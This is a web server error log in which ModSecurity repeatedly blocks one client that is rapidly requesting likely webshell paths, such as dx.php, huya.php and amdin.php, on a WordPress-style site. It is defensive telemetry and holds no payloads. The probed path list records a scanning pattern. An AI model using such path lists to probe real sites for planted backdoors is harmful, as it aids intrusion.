[Fri Apr 17 14:31:41.577688 2026] [:error] [pid 9153:tid 9229] [client 74.234.56.128:25438] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTzeMHGxkTZX3c45fOxwAAAIs"]
[Fri Apr 17 14:31:42.017902 2026] [:error] [pid 9153:tid 9234] [client 74.234.56.128:25896] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTzuMHGxkTZX3c45fOyQAAAJA"]
[Fri Apr 17 14:31:42.083140 2026] [:error] [pid 9153:tid 9242] [client 74.234.56.128:25860] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTzuMHGxkTZX3c45fOygAAAJg"]
[Fri Apr 17 14:31:42.551808 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:25904] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTzsOaH-Pgc7WEf4NFjgAAAcI"]
[Fri Apr 17 14:31:42.605034 2026] [:error] [pid 61523:tid 61563] [client 74.234.56.128:25384] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTzsOaH-Pgc7WEf4NFjwAAAdU"]
[Fri Apr 17 14:31:43.054708 2026] [:error] [pid 9153:tid 9232] [client 74.234.56.128:25347] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTz-MHGxkTZX3c45fOzAAAAI4"]
[Fri Apr 17 14:31:43.103968 2026] [:error] [pid 9153:tid 9233] [client 74.234.56.128:24924] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eterezrezt.php"] [unique_id "aeHTz-MHGxkTZX3c45fOzgAAAI8"]
[Fri Apr 17 14:31:43.578272 2026] [:error] [pid 51878:tid 51882] [client 74.234.56.128:25463] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHTz0nQhUtMbw9EsgYaNwAAAQI"]
[Fri Apr 17 14:31:43.621054 2026] [:error] [pid 9153:tid 9240] [client 74.234.56.128:25436] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHTz-MHGxkTZX3c45fOzwAAAJY"]
[Fri Apr 17 14:31:44.106025 2026] [:error] [pid 61523:tid 61556] [client 74.234.56.128:25919] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHT0MOaH-Pgc7WEf4NFkAAAAc4"]
[Fri Apr 17 14:31:44.119947 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:25358] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHT0MOaH-Pgc7WEf4NFkQAAAdI"]
[Fri Apr 17 14:31:44.608925 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:25375] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHT0JJYca8I3TNCwIf98AAAAE8"]
[Fri Apr 17 14:31:44.623425 2026] [:error] [pid 61523:tid 61546] [client 74.234.56.128:25417] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHT0MOaH-Pgc7WEf4NFkwAAAcQ"]
[Fri Apr 17 14:31:45.117565 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:25401] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHT0cOaH-Pgc7WEf4NFlQAAAdA"]
[Fri Apr 17 14:31:45.132403 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:25442] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeHT0cOaH-Pgc7WEf4NFlgAAAco"]
[Fri Apr 17 14:31:45.620843 2026] [:error] [pid 61523:tid 61554] [client 74.234.56.128:24909] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT0cOaH-Pgc7WEf4NFmQAAAcw"]
[Fri Apr 17 14:31:45.640361 2026] [:error] [pid 25010:tid 25024] [client 74.234.56.128:24943] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT0Y-7kkf42RarqQ1FaQAAAUs"]
[Fri Apr 17 14:31:46.143758 2026] [:error] [pid 9153:tid 9241] [client 74.234.56.128:25470] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT0uMHGxkTZX3c45fO0AAAAJc"]
[Fri Apr 17 14:31:46.156694 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:23905] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT0sOaH-Pgc7WEf4NFmwAAAcs"]
[Fri Apr 17 14:31:46.674159 2026] [:error] [pid 9153:tid 9223] [client 74.234.56.128:25345] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT0uMHGxkTZX3c45fO0gAAAIU"]
[Fri Apr 17 14:31:46.737642 2026] [:error] [pid 9153:tid 9238] [client 74.234.56.128:25388] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT0uMHGxkTZX3c45fO0wAAAJQ"]
[Fri Apr 17 14:31:47.284247 2026] [:error] [pid 51878:tid 51884] [client 74.234.56.128:24947] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT00nQhUtMbw9EsgYaOQAAAQQ"]
[Fri Apr 17 14:31:47.313051 2026] [:error] [pid 51878:tid 51887] [client 74.234.56.128:23830] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT00nQhUtMbw9EsgYaOgAAAQc"]
[Fri Apr 17 14:31:47.860425 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:26399] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT0xP68VyHNvj1e56iFAAAANg"]
[Fri Apr 17 14:31:47.885892 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:25937] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT08OaH-Pgc7WEf4NFnQAAAcI"]
[Fri Apr 17 14:31:48.391527 2026] [:error] [pid 61523:tid 61546] [client 74.234.56.128:25858] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT1MOaH-Pgc7WEf4NFoQAAAcQ"]
[Fri Apr 17 14:31:48.431444 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:26421] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT1MOaH-Pgc7WEf4NFogAAAc0"]
[Fri Apr 17 14:31:48.913886 2026] [:error] [pid 61523:tid 61559] [client 74.234.56.128:25925] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT1MOaH-Pgc7WEf4NFpAAAAdE"]
[Fri Apr 17 14:31:48.985652 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:25969] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT1MOaH-Pgc7WEf4NFpQAAAcY"]
[Fri Apr 17 14:31:49.436002 2026] [:error] [pid 25010:tid 25019] [client 74.234.56.128:26428] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT1Y-7kkf42RarqQ1FbQAAAUY"]
[Fri Apr 17 14:31:49.486007 2026] [:error] [pid 9153:tid 9235] [client 74.234.56.128:25916] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amdin.php"] [unique_id "aeHT1eMHGxkTZX3c45fO1wAAAJE"]
[Fri Apr 17 14:31:49.968592 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:24403] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT1cOaH-Pgc7WEf4NFqwAAAcc"]
[Fri Apr 17 14:31:50.017495 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:25897] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT1sOaH-Pgc7WEf4NFrAAAAcs"]
[Fri Apr 17 14:31:50.481490 2026] [:error] [pid 61523:tid 61566] [client 74.234.56.128:25856] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT1sOaH-Pgc7WEf4NFrQAAAdg"]
[Fri Apr 17 14:31:50.521104 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:25875] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT1sOaH-Pgc7WEf4NFrgAAAcI"]
[Fri Apr 17 14:31:51.068431 2026] [:error] [pid 9263:tid 9265] [client 74.234.56.128:25937] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT1xP68VyHNvj1e56iFgAAAMA"]
[Fri Apr 17 14:31:51.095735 2026] [:error] [pid 9151:tid 9176] [client 74.234.56.128:26420] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT18hTVuRPkua22vQUbAAAAA8"]
[Fri Apr 17 14:31:51.568719 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:25866] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT18OaH-Pgc7WEf4NFtQAAAcU"]
[Fri Apr 17 14:31:51.633533 2026] [:error] [pid 61523:tid 61546] [client 74.234.56.128:26438] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/huya.php"] [unique_id "aeHT18OaH-Pgc7WEf4NFtgAAAcQ"]
[Fri Apr 17 14:31:52.170379 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:25906] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2BP68VyHNvj1e56iGAAAAMk"]
[Fri Apr 17 14:31:52.246479 2026] [:error] [pid 9263:tid 9273] [client 74.234.56.128:25898] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2BP68VyHNvj1e56iGQAAAMg"]
[Fri Apr 17 14:31:52.679637 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:25451] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2BP68VyHNvj1e56iGwAAAMM"]
[Fri Apr 17 14:31:52.791899 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:25894] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2BP68VyHNvj1e56iHAAAANc"]
[Fri Apr 17 14:31:53.251371 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:25429] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2cOaH-Pgc7WEf4NFuAAAAcY"]
[Fri Apr 17 14:31:53.305380 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:25978] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2cOaH-Pgc7WEf4NFuQAAAcg"]
[Fri Apr 17 14:31:53.756342 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:26408] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2RP68VyHNvj1e56iJwAAAMU"]
[Fri Apr 17 14:31:53.846592 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:25959] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/puc.php"] [unique_id "aeHT2RP68VyHNvj1e56iKAAAANg"]
[Fri Apr 17 14:31:54.366557 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:26450] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT2pJYca8I3TNCwIf99AAAAEc"]
[Fri Apr 17 14:31:54.391761 2026] [:error] [pid 25010:tid 25029] [client 74.234.56.128:25945] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT2o-7kkf42RarqQ1FbgAAAVA"]
[Fri Apr 17 14:31:54.887363 2026] [:error] [pid 9151:tid 9178] [client 74.234.56.128:25878] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT2shTVuRPkua22vQUbwAAABE"]
[Fri Apr 17 14:31:55.012346 2026] [:error] [pid 9151:tid 9165] [client 74.234.56.128:24383] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT28hTVuRPkua22vQUcAAAAAQ"]
[Fri Apr 17 14:31:55.447014 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:26370] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT28OaH-Pgc7WEf4NFxQAAAcc"]
[Fri Apr 17 14:31:55.536429 2026] [:error] [pid 25010:tid 25031] [client 74.234.56.128:26463] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT24-7kkf42RarqQ1FbwAAAVI"]
[Fri Apr 17 14:31:55.967204 2026] [:error] [pid 61523:tid 61551] [client 74.234.56.128:26483] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT28OaH-Pgc7WEf4NFxgAAAck"]
[Fri Apr 17 14:31:56.033859 2026] [:error] [pid 61523:tid 61559] [client 74.234.56.128:25918] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aeHT3MOaH-Pgc7WEf4NFxwAAAdE"]
[Fri Apr 17 14:31:56.488300 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:26473] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3BP68VyHNvj1e56iMAAAANI"]
